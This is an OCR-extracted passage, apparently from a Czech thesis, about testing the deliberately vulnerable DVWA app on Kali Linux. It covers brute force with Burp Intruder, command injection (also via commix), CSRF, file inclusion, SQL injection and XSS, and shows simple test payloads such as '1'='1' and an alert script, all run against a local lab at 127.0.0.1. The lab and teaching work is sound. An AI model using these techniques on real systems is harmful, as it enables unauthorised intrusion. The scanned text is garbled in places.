Nasledoval start mysql pfikazem: sudo service mysql start. Chéapaje architektonickou
zavislost DVWA, bylo imperativni nainstalovat webovy server Apache spolu s databazovym
serverem MariaDB. K tomuto ucelu bylo vyuzito systému apt.

Pro inicializaci a konfiguraci databaze MySQL bylo nutné sluzbu spustit, coz se provedlo
standardnim zptisobem. Po spusténi byli provedeny administrativni zmény v databazi

s cilem piipravit prostiedi pro DVWA.
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Vzhledem k specifickym pozadavkim na PHP v kontextu DVWA bylo potieba pfidat surry
php ppa repozitat. To umoznilo optimalizovat a rozsifit funkcionalitu PHP pro tento projekt.
Ptikazy byly pouzity v nasledujicim znéni a potadi:

sudo apt update

sudo apt -y install Isb-release apt-transport-https ca-certificates

sudo wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg

echo "deb buster sudo tee

https://packages.sury.org/php/ main" |

/etc/apt/sources.list.d/php.list

Dal§im krokem byla uprava konfiguracniho souboru php.ini pomoci ptfikazu sudo nano
php.ini. Byly specifikovany parametry allow_url_fopen a allow_url_include tak, aby
spliiovaly pozadavky aplikace DVWA.

Nakonec, po vSech predchozich konfiguracich, lze spustit Apache server ptikazem sudo
service apache?2 start a nasledné overeni funk¢énosti aplikace DVWA v prohlizeci na lokalni
adrese, kde je mozné se prihlasit diive zadanym jménem a heslem. Toto potvrzuje obrazek
6, kde 1ze vidét rozhrani aplikace DVWA po uspesném prihlaseni.

L | Kali Linux ©J Welcome :: Damn Vulner: X

O [ 127.0.0.1/dvwalindex.php g ¢

Exploit-DB

o)

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

KaliLinux #& KaliTools = KaliDocs ¥ Kali Forums e Kali NetHunter OffSec

Google Hacking DB

Instructions
Setup | Reset DB

Brute Force
‘Command Injection
CSRF

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass
JavaScript
Authorisation Bypass
‘Open HTTP Redirect

DVWA Security

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
difficultly, with a simple straightforward interface.

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successiully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both documented and undocumented vulnerability with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue

WARNING!
Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public
htmi folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual

machine (such as or ), which is set to NAT networking mode. Inside a guest machine, you
can download and install for the web server and database

Disclaimer

‘We do not take responsibility for the way in which any one uses this application (DVWA). We have made the
purposes of the application clear and it should not be used maliciously. We have given warnings and taken

PHP Info
About

Logout

measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an
installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it

More Training Resources

DWWA aims to cover the most commonly seen vulnerabilities found in today's web applications. However there

Obrdzek 6: Rozhrani aplikace DV'WA
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Pro zajisténi plné funkcnostt DVWA byl proveden reset databaze skrze uzivatelské rozhrani

aplikace. Nasledné znovu prihlaSeni, tentokrat pomoci uzivatelského jména admin a hesla

password.

Home .~ DVWA Security »
Instructions ‘
Setup | Reset DB | Security Level

Security level is currently: impossible.
Brute Force

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection level of DVWA:

CSRF

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation technigues.

File Inclusion

File Upload 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their

Insecure CAPTCHA exploitation techniques. _ ) .

SQL Injection 3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad

‘ practices to attempt to secure the code. The vulnerability may not allow the same extent of the
‘ exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
Weak Session IDs ‘ source code to the secure source code.

SQL Injection (Blind)

Prior to DVWA v1.9, this level was known as 'high'.
XSS (DOM)

XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

| Low ~ || Submit |

Authorisation Bypass

Open HTTP Redirect

PHP Info |

Obrazek 7: Nastaveni tirovni

Jako posledni véc je nutné nastavit uroven zabezpeCeni na ,low"™ viz. obrazek 7 nebot pii

prvotnim spusténi je tato Uroven nastavena na ,,imposible* neboli nemozné.

4.14

Pti

Zabezpeceni testovaciho prostredi

nastavovani systému Kali Linux v prostfedi VirtualBox pro ucely testovani

a zabezpeceni je tfeba zvazit nékolik klicovych aspektu:

1.

2.

Instalace: VirtualBox jak je vySe zminéno poskytuje izolované prostredi, které
uzivatelim umoziuje instalovat Kali Linux, aniz by ménili sviij primarni operacni
systém.

Nastaveni site: Sitové nastaveni: Je potieba se ujistit, ze sitové nastaveni virtualniho
pocitaCe je nakonfigurovano na "NAT" nebo "Host-Only", aby se zabranilo

ndhodnému vystaveni internetu nebo mistni siti béhem testovani.

54



3. Funkce snimku (snapshot): VirtualBox poskytuje funkce snimku. Pfed provedenim
jakychkoli zmén nebo spusténim potencialné Skodlivych nastroji se doporucuje
poridit snimek.

4. Izolace malwaru: V pfipadé testovani malwaru je potieba zajistit, aby virtualni
pocitaC nemél pristup ke kritickym systémum ani k internetu, a predejdéte tak
nahodné infekci nebo uniku dat.

5. Hardwarova omezeni: Jednou znevyhod provozovani systému Kali Linux ve
VirtualBoxu jsou mozna hardwarova omezeni. Konfigurace nastaveni virtual boxu
a kali linux je sepsana v predeslé kapitole.

6. Aktualizace a zabezpeceni: Pravidelna aktualizace operacniho systému Kali Linux
a VirtualBoxu, béhem celého testovani. Ziskaji se tim nejnové€jsi bezpeCnostni
zaplaty a funkce a predejte se tak dalSimu nebezpeci.

Pouziti VirtualBoxu pro testovaci prostredi Kali Linux nabizi bezpec¢né a flexibilni feSeni.
Pro zajisténi maximalni bezpecnosti a funk¢nosti je vSak nezbytné spravné nakonfigurovat

nastaveni a uvédomit si omezeni platformy.
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4.2 Tvorba testovacich scénaiu

Pti pripraveé testovaci strategie pro webovou aplikaci je esencialni vybrat vhodné testovaci
scénafe. Prace se zaméfuje na bezpeCnostni testovani, coz znamena vytvoreni scénaiu, které
nejen overi funkcionalitu a vykon aplikace, ale pfedev§im odhali potencialni zranitelnosti
a slabiny. Hlavni zdjem je upfen na aplikaci DVWA, kterd je znama svymi umyslné
navrzenymi zranitelnostmi a poskytuje idealni platformu pro uceni.

Kali Linux, uznavany v bezpecnostnich kruzich jako jeden z nejkomplexnéjsich nastroji pro
eticky hacking, nabizi Sirokou skalu nastroju a utilit, které 1ze vyuzit pfi testovani aplikaci
jako je DVWA. Proto byly vybrany testovaci scénaie pro tuto aplikaci tak, aby vyuzily
moznosti a nastroju dostupnych v Kali Linuxu.

V nasledujicich ¢astech se prace vénuje konkrétnim testovacim scénaiim pro DVWA,
navrzenym tak, aby plné€ vyuzily moznosti a nastroju, které¢ Kali Linux nabizi pro eticky

hacking a testovani bezpecnosti.

4.2.1 Nalezeni zranitelnosti aplikace

Pro nalezeni zranitelnosti bude pouzit nastroj Burp Suite, ktery je detailnéji popsan v Casti
3.4 Nastroje pro eticky hacking. Burp Suite je nastrojem pro zjiStovani zranitelnosti
webovych aplikaci a je Siroce pouzivan odborniky na bezpecnost. Je idealni pro analyzu
komunikace mezi webovym klientem a serverem, coz umoznuje detailni testovani riznych
aspekti webovych aplikaci.

Nejprve je potieba pripravit prohlizeC a nastavit spravné porty. Firefox meéni svij port,
a proto je nutné rozsifeni FoxyProxy, kde 1ze zménit port tak, aby odpovidal tomu, co je
v aplikaci Burp Suite. Dulezité je také stahnout certifikaci Burp CA.

Nasleduje ruéni prochazeni neboli manual crawling, které nahrazuje funkci Spider, jelikoz
neni dostupna v community verzi. Jedna se tedy rucni prochazeni vybranych funkci
v aplikaci DVWA, které je mozné otestovat dle dostupnych nastroji. Timto zpisobem se
generuji a zachycuji pozadavky v Burp Suite.

Jedna se o Casoveé narocnéjsi ukol, ale zajisti to, ze jsou pokryty vSechny vybrané funkce.

Zranitelnosti jsou identifikovany dle pozadavku a odpovédi, jak je zobrazeno na obrazku 8.
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4 Burp Suite Community Edition v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard ~ Target Proxy  Intruder  Repeater Collaborator  Sequencer Decoder  Comparer Logger Organizer Extensions Learn {5 Settings
Intercept HTTP history ‘WebSockets history {5} Proxy settings
'\ Filter: Hiding CSS, image and general binary content @
# Hest Methed URL Para Edited Status code Length ~ MIME type  Extension Title
1798  httpif127.0.0.1 GET abilitiesfcsrf/?p: d_i pe T d_conf=... v 200 5763 HTML Vulnerability: Cross Site ...
1796  http:f127.0.01 GET iesfbrute/?user P d&... v 200 4581 HTML Vulnerability: Brute Forc
1794 httpif127.0.041 POST Jdwwajvulnerabilities/csrfftest_credentials.php v 200 1378 HTML php Damn Vulnerable Web A...
1791 httpif127.0.04 GET d abilities/csrff?password_| d_conf=pass... v 200 5763 HTML Vulnerability: Cross Site ...
1787  httpif127.0.0.1 POST [dvwafvulnerabilitiesfexec/ v 200 4624 HTML Vulnerability: Command I..
1783 http:f127.0.01 GET ! f il it ute/fuser i P v 200 4624 HTML Vulnerability: Brute Forc
1776 httpif127.0.04 POST Jdwwailogin.php v 302 300 HTML php
126 http:f127.0.01 GET d iliti uteffuser dmi P d&... v 200 4624 HTML Vulnerability: Brute Forc...
1831  https:ffaccounts.google.com GET [generate_20476mweKw v 204 182
1827  httpsiffaccounts.geogle.com POST Jv3/signin/_/AccountsSigninUi/data/batchexecute?rpeids=UEkKwh: v 200 1658 JSON
1814 httpsiffaccounts.google.com GET ?continue=https%3A%2F%2Fwww.google.com%a2... v 200 632484  HTML Sign in - Goegle Accounts
1813 httpsiifaccounts.google.com GET [interactiveLogin?continue=https:{www.google.com/recaptchafadmin/... v 302 1885 HTML Moved Temporarily
Request Response u Ll Inspector "m I -@&X
Raw  Hex w o= pretty  Raw  Hex  Render n o= A —— 5 ~
1 pET /dvwa/vulnerabilities/brute/?username=adming 1 HTTR/1.1 200 OK
assword=passwordilogin=login HTTP/1.1 2 Date: Fri, 29 Sep 2023 13:01:39 GMT
2 :Ust; 127?0_0_1 ? ¢ / 3 Server: Apache/;a.w (Debian) Request query parameters 2 M
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; 4 Expires: Tue, 23 Jun 2009 12:00:00 GMT
rv:109.0) Gecko/20180101 Firefox/115.0 5 Cache-Control: no-cache, must-revalidate Request cookies 2 i
4 hccept: 5 Pragma: no-cache
text/html, application/xhtml+xml, application/xml;q=0 7 Vary: Accept-Encoding Request headers 13 v
.9,1mage/avif,image/webp, */*;q=0.8 8 Content-Length: 4333
S Accept-Language: en-US,en;q=0.5 9 Connection: close Response headers a v
& Accept-Encoding: gzip, deflate 10 Content-Type: text/html;charset=utf-8
7 Connection: close 11
& Referer: 12 < DOCTYPE html>
http://127.0.0.1/dvwa/vulnerabilities/brute/ 13
o Cookie: security=low; PHPSESSID= 14 <html lang="en-GB">
udpuBa7suggpracpbfdfuisilt 15
10 Upgrade- Insecure-Requests: 1 15 <head>
11 Sec-Fetch-Dest: document 17 <meta http-equiv='Content-Type" content="
12 Sec-Fetch-Mode: navigate text/html; charset=UTF-8' /=
13 Sec-Fetch-Site: same-origin 18
14 Sec-Fetch-User: 71 19 <title>Vulnerability: Brute Force :: Damn
15 Vulnerable Web Application (DvWA)</title=
16 20
2 <link rel="stylesheet" type="text/css" href="
../dvwa/css/main.css" />
2 <link rel="icon" type="\image/ico" href="
/.. /favicon.ico" />
24
5 <script type='text/javascript' src='
@ @ €] 3] | searcn ohighlights | () 63 | €| 3| | search 0 highlights

Obrazek 8: Burp Suite Request/Response, Zdroj: Viastni

4.2.1.1 Brute force

Potencialni hrozbu utokt hrubou silou lze klasifikovat jako stfedni az vysokou. Toto
hodnoceni se lisi v zavislosti na povaze chranénych informaci a struktute hesel z hlediska
jejich délky a slozitosti. Usp&sné prolomeni hesla uto&nikem prostiednictvim spravného
uhodnuti hesla maze oteviit cestu k neopravnénému pfistupu do systému, naslednému
naruSeni dat a dalSim souvisejicim bezpe¢nostnim hrozbam.

Pfi analyze byl pozorovan pozadavek GET s parametry, ato uzivatelské jméno=admin
a heslo=password. Systém odpoveédél stavem "200 OK", ktery byl doprovazen zpravou
"Vitejte v oblasti chranéné heslem admin". Toto chovani naznacuje, ze v aplikaci chybi
ochranna opatieni proti utokiim hrubou silou, coz je patrné z absence mechanismd, jako jsou
postupy pro zablokovani uctu nebo zavedeni ovéfeni CAPTCHA po nékolika po sobé

jdoucich neuaspésnych pokusech o prihlaseni.

4.2.1.2 Command injection

Utoky typu Command Injection piedstavuji znatné bezpelnostni riziko, které je &asto

klasifikovano jako vysoké. Pfi té€chto utocich muZe uto¢nik prostiednictvim zranitelné
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aplikace spustit libovolné pfikazy v hostitelském operacnim systému, ¢imz ziska potencialni
plnou kontrolu nad hostitelskym systémem. Rozsah hrozby zéavisi na opravnénich
zneuzivané aplikace. Usp&iné injektovani piikazi méZe ohrozit integritu, dostupnost
a duveémost aplikace a dat.

Byla provedena analyza pozadavku POST zaslaného na vyzvu "Command Injection"
v nastroji DVWA. Parametry pozadavku obsahovaly 1p=8.0.0.1, coz naznaovalo
potencialni operaci "Ping a device" se zadanou IP adresou. Vysledna odpovéd obsahovala
standardni vystup pfikazu ping provedeného se zadanou IP adresou. To ukazuje, ze aplikace
piijimé uzivatelsky vstup a pfimo jej pouziva v piikazu na urovni systému bez dostate¢né
sanitace. Nedostatek validacnich nebo sanitaCnich opatfeni otevira cestu k tomu, aby
Skodlivi aktéfi pripojili nebo vlozili libovolné piikazy, které server provede.

Vzhledem k pozorovanému chovani muaze utoCnik tuto zranitelnost zneuzit ke spusténi
libovolnych piikazl na serveru, které mohou sahat od ziskani systémovych informaci az po
Skodlivejsi akee, jako je manipulace s daty nebo dokonce kompromitace serveru, v zavislosti

na konfiguraci a opravnénich serveru.

4.2.1.3 CSRF

Poskytnuty pozadavek HTTP oznacuje metodu GET pouzitou k odeslani pozadavku na
zménu hesla. Zasadni je, ze tento pozadavek GET vklada do adresy URL nové heslo
(password_new=pass) a jeho potvrzeni (password conf=pass). To je problematické, protoze
adresy URL lze snadno sdilet, ptihlésit nebo ndhodn¢ odhalit.

Odpovéd "Password Changed" znamen4, zZe aplikace povolila zménu hesla prostfednictvim
pozadavku GET bez jakékoli formy tokenu CSRF nebo ovéfeni, které by zajistilo, ze
pozadavek byl skuteéné iniciovan uzivatelem. To znamena, ze pokud utoénik dokaze
uzivatele oklamat a pfimét ho k navstéveé skodlivé vytvoreného odkazu nebo webu, ktery
tento pozadavek spusti, mize byt heslo uzivatele zménéno bez jeho védomi.

Dal§im aspektem, kterého je tfeba si v§imnout, je absence tokenu anti-CSRF v pozadavku.
Bezpec¢né navrzené aplikace obvykle obsahuji takovy token, ktery server oveéfi, aby se ujistil

o legitimité pozadavku. Bez této ochrany se aplikace stava potencialnim cilem atokti CSRF.

4.2.1.4 File inclusion

Zmeéna hesla prostiednictvim GET: Prvni sdileny pozadavek GET vykazuje zjevnou chybu.

Aplikace umoziuje zménu hesla prostfednictvim pozadavku GET, pficemz nové heslo je
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vlozeno pifimo do adresy URL. Tato konstrukéni chyba umoziiuje utocnikovi snadno
vytvorit §kodlivy odkaz a pfimét uzivatele k nevédomé zmeén¢ hesla.

Chybéjici tokeny Anti-CSRF: Klicovym prvkem, ktery v pozadavku chybi, je token anti-
CSRF. Webové aplikace obvykle takovy token vkladaji do formulait, aby ovéfily pravost
pozadavku. Absence takového mechanismu v této aplikaci je znepokojujici a ¢ini ji
zranitelnou vuci utokiim CSRF.

FunkCnost  testovacich  povéfeni  (test credentials): Pozadavek POST na
/dvwa/vulnerabilities/csrf/test credentials.php potvrzuje, zda jsou zadana povéreni spravna.
Uspé&sné ovéieni hesla pro "admin" v odpovédi naznaduje moznou sekundarni zranitelnost.
Uto¢nik by mohl vytvofit tok CSRF a pouzit tuto funkci k uhodnuti nebo potvrzeni hesla,
coz by usnadnilo zneuziti dalSich zranitelnosti nebo ziskani neopravnéného ptistupu.
Aplikace odkazuje na atribut SameSite cookie jako na opatfeni k zabranéni CSRF. Tento
atribut muze pii spravném nastaveni skutecné zmirnit CSRF. Zranitelna povaha aplikace
vSak naznacuje, ze tento atribut nemusi byt vhodné implementovan.

Zranitelnost v podobé zaclenéni soubort: Stranky (include.php, filel.php, file2.php
a file3.php), vykazuji zranitelnost LFI (Local File Inclusion), protoze aplikace pouziva
parametr "page" k zahrnuti souborta bez validace.

e Soubor 1: Zobrazuje podrobnosti o uzivateli v¢éetné uzivatelského jména a IP adresy.

e Soubor 2: Obsahuje vtip, ktery demonstruje schopnost prepinat obsah na zaklade
parametru "page".

e Soubor 3: Poskytuje vice personalizovanych udaji o uzivateli a demonstruje
schopnost aplikace zpracovavat soubory PHP a zobrazovat na jejich zakladé data.
Zahrnuje polozky Uzivatelské jméno admin, IP adresa 127.0.0.1, Retézec User-
Agent, URL odkazu, IP adresa hostitele.

Pokud tato zranitelnost LFI existuje v realném scénafi, muze byt zneuzita ke Cteni citlivych
souboru ze serveru, coz muze vést k vyzrazeni informaci nebo jinym Skodlivym aktivitam.
Riziko pro soukromi muze predstavovat také zobrazovani podrobnosti o uzivateli

a personalizovanych udaja.

4.2.1.5 Sql injection

Zatizeni '1'="1" je tautologicky ptfikaz SQL. Vzdy se vyhodnoti jako true a jeho primarni
pouziti je testovani, zda je aplikace zranitelna viici SQL injection. Pokud neni vstup spravné

sanitizovan nebo parametrizovan, muze injektovani takového payloadu casto vést k
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nechténému chovani aplikace, napiiklad ke zvefejnéni vSech radkt tabulky. Na to navazuji
dusledky zranitelnosti, které z toho plynou:
e Odhaleni dat: Pokud je aplikace nachylna k SQL injection, mohou zaskodnici
potencialné ziskat citliva data z databaze.
e Manipulace s daty: Uto&nici mohou data v databazi nejen prohliZet, ale mohou byt
schopni je i ménit nebo mazat.
e Potencialni provadéni piikazi: V uritych scénafich SQL injection (jako jsou
zasobnikové dotazy) mohou utocnici dokonce spustit libovolné piikazy na

hostitelském serveru.

4.2.1.6 Sql injection (blind)

Uroveii rizika je vysoka. A&koli je zneuZiti ,,slepého” SQLi Gasové naroén&j§i nez zneuziti
klasického SQLi, stale maze vést k tplnému ohrozeni databaze.

Z poskytnutého pozadavku GET s pouzitim parametru id=sda vratila odpovéd’ stav HTTP
"404 Not Found" doprovazeny zpravou "User ID is MISSING from the database". To
naznacuje, ze vstup piimo ovliviiuje vysledek dotazu SQL. Ackoli neni viditelnd zadna
ptima chybova zprava SQL, tento rozdil v chovani na zakladé vstupu naznacuje potencialni

slepou injektaz SQL.

4.2.1.7 Oveérovani pomoci JavaScriptu

Uroveti rizika je mirnd. Utoénik mize potencialng zpétné analyzovat proces generovani
tokent, padélat tokeny a obejit validaéni mechanismy. Poskytnuty zdroj stranky odhaluje
funkci generate_token() v jazyce JavaScript. Tato funkce pfijme vstup uzivatele (frazi),
provede na ném koédovani rot13 a poté vypocita jeho hash MDS5. Vysledek je nastaven jako
hodnota tokenu ve formulafi.

Zpétnym inzenyrstvim tohoto procesu generovani tokenu muize utoCnik padélat platné
tokeny bez pouziti poskytnuté funkce a potencialné tak obejit jakoukoli validaci na strané
serveru, ktera se na tento token spoléha nebo manipulovat s funkcemi aplikace, které jsou

hlidany timto mechanismem tokenu.
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4.2.1.8 XSS (Reflected)

Vysoka uroven rizika. XSS (Reflected) mohou utocnici vyuzit ke spusténi Skodlivych
skripti v kontextu relace obéti, coz mlze vést k odcizeni tokenli relace, manipulaci
s obsahem webové stranky nebo k dal§im Gtokiim na uzivatele.

V daném pozadavku se zuziteCného zatizeni po dekddovani adresy URL stane
<script>alert('test');</script>. Tento skript se pfimo promitne a provede v prohlizeci
uzivatele, jak je wvidét v odpovédi, uvnitf znacky pre:  <pre>Hello
<script>alert(‘test’);</script></pre>. Utoénik mdZe vytvoiit Skodlivou adresu URL

obsahujici uzitecné zatizeni. Kdyz na n¢j obét’ klikne, skript se spusti v kontextu jeji relace.

4.2.1.9 XSS (Stored)

XSS (stored) muze mit vyznamnéjsi dasledky nez XSS (reflected), protoze skodlivy skript
je trvale uloZzen a muze ovlivnit kazdého uzivatele, ktery navstivi stranku obsahujici tento
Skodlivy skript.

Poskytnuty POST pozadavek ukazuje, ze uzivatel se pokusil ulozit Skodlivy skript do poli
"Jméno" (txtName) a "Zprava" (mtxMessage).

Odpovéd odrazi ulozeny skript v sekci navstévni knihy, konkrétné:

<div 1d="guestbook comments">Jméno: <script>al<br />Zprava:
<script>alert('test');</script><br /></div>

To ukazuje, ze Skodlivy vstup byl ulozen aje bez jakékoli sanitace odrazen zpét, ¢imz
potvrzuje zranitelnost ulozeného XSS.

Utoénik miize do navstévni knihy vlozit skodlivé skripty. Kdyz jini uzivatelé navitivi
stranku, ulozeny skript se spusti, coz miize vést k potencialnimu prevzeti relace, kradezi dat

nebo dokonce k exploitaci prohlizeCe, v zavislosti na charakteru ulozeného skriptu.

4.2.2 Navrhy testovacich scénaru

V této sekci predstavuji navrhy testovacich scénaiti pro ruzné typy utoku, které nabizi
aplikace DVWA. Testovaci scénafe popisuji cely prabéh daného utoku za pouziti urcitého
nastroje pro utok. V ramci testovacich scénait musi byt zapsany vSechny kroky, a to vCetné
nastaveni.

Mé testovaci scénafe zahrnuji §iroké spektrum utokd, které lze na aplikaci DVWA
uskuteCnit, ato za vyuZiti nastroji obsazenych v distribuci Kali Linux. Scénafe jsou

sestaveny na zaklade nalezenych zranitelnosti, které byly identifikovany v pfedeslé ¢asti mé
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prace, dokumentaci nastroji a navodd vytvofenych autory nastroju. Na zakladé téchto
scénaift budou bude probihat testovani, podle kterych budou navrzeny zptisoby ochrany
a komparace zmén po aplikovani ochrany.
Scénare se tedy zamétuji na jednotlivé zranitelnosti v nasledujicim poradi:
1. Brute Froce — Priloha 1
Command Injection — Ptiloha 2
CSRF - Priloha 3
File inclusion — Ptiloha 4
SQL injection — Ptiloha 5
Javascript — Ptiloha 6

XSS —Ptiloha 7

N oA » D

62



4.3 Testovani

Tato Cast se zaméfuje na samotné testovani na zakladé navrhi testovacich scénard. Je
rozdélena na provedeni testi, které se podrobné zamétuji na kazdou zranitelnost, na kterou
byl vytvoren testovaci scénaf. Po provedeni testt jsou sepsany vysledky této Casti.

V druhé Casti se zaméfuje na navrhy zptsobt ochrany, které se odviji od prvotnich testa pfi

nizkém zabezpeceni. Opét na pouze zranitelnosti, které byly podrobeny otestovani.

4.3.1 Provedeni testu

Jako prvni je potfeba nastavit zabezpeceni aplikace DVWA na obtiznost ,,Low™ pro
demonstraci té nejzraniteln€jsi stranky a jednodussi zjisténi spravnosti testovacich scénaru.
V dalsi kroku je potfeba nastavit proxy v prohlizeci, ¢cimz bylo docileno pouzitim rozsifeni
do prohlizece nazvané FoxyProxy, které je bezplatné a voln¢ dostupné. Tim tak dojde

k uspéSnému spojeni hlavniho nastroje BurpSuite a webové aplikace DVWA.

4.3.1.1 Provedeni brute force utoku dle testovaciho scénare 1

Pomoci nastroje Burp Suite a pfes moznost proxy je nejprve nutné najit zranitelnost. Po
jejimz objeveni se oznaci cilené misto. Nasleduje nahrani takzvaného ,,paylodu® neboli
seznamu slov, ktera se budou pouzivat na prolomeni hesla. Je nékolik moznosti, jak seznam
vytvorit at’ uz ruéné€ nebo pres n¢jaky generator, ktery Ize najit kdekoliv na internetu. Nastésti
Kali Linux disponuje hned nékolika seznamy ve slozce wordlists. Pro testovani je vybran
seznam john.Ist. Tento soubor obsahuje 3559 bézné pouzivanych hesel aje tak dobrym
startem pro testovani. Po vlozeni paylodu a spravnim nastaveni, jak je vidét na obrazku 9,

1ze spustit utok.
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4 Burp Suite Community Edition v2023.9.3 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target g Intruder Repeater Collaborator Saquencer Decoder Comparer Logger Organizer Extensions {5} Settings
Learn

1 % 2x + Q i
Positions Payloads Resource pool settings

(3) Payload sets [ startattack |

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: | 1 ~ | Payload count: 3,559
Payload type: | Simple list ~ | Request count: 3,559

Payload settings [Simple list]
Y, 9 P

This payload type lets you configure a simple list of strings that are used as payloads.

Paste money
carmen
Load ..
mickey
Remove | secret
summer »
Clear
internet
Deduplicate | atb2c3
123
Add Enter a new item

(3) Payload processing
You can define rules to perform various processing tasks on each payload before it is used.
Add Enabled Rule
Edit
Remove
up

Down

(3) Payload encoding

Obrazek 9: Burp Suite Intruder, Zdroj: viastni

Burp suite nasledné projizdi jedno slovo za druhym, jak je vidét na obrazku 10. A v tento
okamzik se ¢eka na zménu sloupce lenght, jehoz hodnoty by méli mirné nartst z ¢ehoz bude
zieymé, ze doslo k nalezeni hesla. I pfes to, ze pfihlaSovaci udaje jsou znamy, musi se utok
provést jako utocnik. Proto utok zabral néco okolo tfi hodin, jelikoz community verze

programu Burp Suite je zna¢n€ omezena a test trva déle.

2. Intruder attack of http:/f127.0.0.1 - Temporary attack - Not saved to project file

Attack Save Columns

Results Positions Payloads Resource pool Settings

7 Filter: Showing all items

Request Payload Statuscode  Error Timeout  Length Comment
531 dollars

530 diablo 200 4618
529 dance 200 4618
528 cyclene 200 4618
527 curtis 200 4618
526 crystal 200 4618
525 crawford 200 4618
524 cracker 200 4618
523 cougar 200 4618
522 Cosmos 200 4618
521 copper 200 4618
520 cooter 200 4618
510 conner 200 AR1R

530 0f 3559 G

Obrazek 10: Burp Suite Intruder — prithéh uitoku, Zdroj: Viastni

64



Po nalezeni hesla, jehoz délka je 4661 oproti ostatnim slovim s délkou prodlevy
4618 nezbyva nez dané heslo vyzkouset v pfihlaSeni na obrazku 11.

& @ Vulnerability: Brute For x 3 Settings * & Vulnerability: Brute For %
QO O 127.0.

KaliLinux §& KaliTools ¢ KaliDocs & KaliForums e Kali Google Hacking DB

o)

e | Vulnerability: Brute Force
Instructions | Login
Setup | Reset DB |
Username:
|Passw0rd: ‘
Command Injection | |
CSRF S
| Login |

File Inclusion

File Upload

Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

Fal~i-N-1

Welcome to the password protected area admin

.3

w

More Information

Obrazek 11: Prolomeni hesla, Zdroj: viastni
Po kliknuti na obrazek po piihlaseni je mozné zjistit, pocet uzivatelti zaevidovanych v této
aplikaci. Je jich celkem 5 a ke kazdému lze nyni kdyz je znamo uzivatelské jméno tak

stejnym zpusobem nebo pomoci nastroje hydra zjistit heslo.

4.3.1.2 Provedeni command injection dle testovaciho scénare Cislo 2

Z prizkumu zranitelnosti na zabezpeceni ,,Low* je znamo, ze uzivatelsky vstup neni nijak
kontrolovany proti Skodlivym ptikazim. Je mozné zadat vice prikazi, ty spojovat
dohromady a nemusi se jednat o IP adresu, coz vstup pozaduje. Prikazy funguji i bez mezer
a da se podle nich zobrazit zdrojovy kod, ktery slouzi k pochopeni stranky.

Z jednoduchych prikazi jako je Is, pwd, whoami a dalSich je mozné zjistit téméf vse od
vypisu soubort, jejich prohlizeni, informace o uzivateli, jeho systému a mnoho dal$ich, jak

je vidét na obrazku 12. a to jen pomoci jednoho nezabezpeceného pole.
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http://www.svmantec.co
http://www.qolinuxcloud.comrbrute-torcg-attack-web-lorms

<2 Vulnerability: Command ' X @ Foxy

O DO 127.000/ i H B % vy

Kali Linux # KaliTools ¢ KaliDocs & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Home . Vulnerability: Command Injection
Instructions ‘ Plng a device
Setup | Reset DB |
Enter an IP address: | || Submit |
(=T (Rl PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seg=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_seqg=2 ttl=64 time=0.030 ms
CSRF 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp seq=4 ttl=64 time=0.029 ms

|

|

|

File Inclusion ‘
File Upload ‘ --- 127.0.0.1 ping statistics ---

|

|

|

|

4 packets transmitted, 4 received, 0% packet loss, time 3054ms

Insecure CAPTCHA rtt min/avg/max/mdev = 0.019/0.029/0.039/0.007 ms
. help
SQL Injection index.php
source

SQL Injection (Blind)
Weak Session IDs

Obrazek 12: 1'ystup po zaddni prikazu ls, Zdroj:Viastni
K jednodussimu pouziti slouzi nastroj commix, ktery se napoji pomoci url odkazu,
identifikatoru PHPSESSID a data vstupu. To vSe je ziskatelné z nastroje Burp Suite jak tomu

bylo v pfedeslém testu. Zde opét funguji stejné prikazy tak jako v rozhrani aplikace.

Automated All-in-One 0S Command Injection Exploitation Tool
Copyright © 2014-2023 Anastasios Stasinopoulos ( )

ing targets without prior mutual consent is illegal. It is the end user's responsibility to obey all
e caused by this program.

URL.
to the target URL.
t

target. Do you want to resume to (results-based) classic command injection peint? [Y/n] > n
¢ command injection technigue.
ectable via (results-based) classic command injection technique.
XHS H
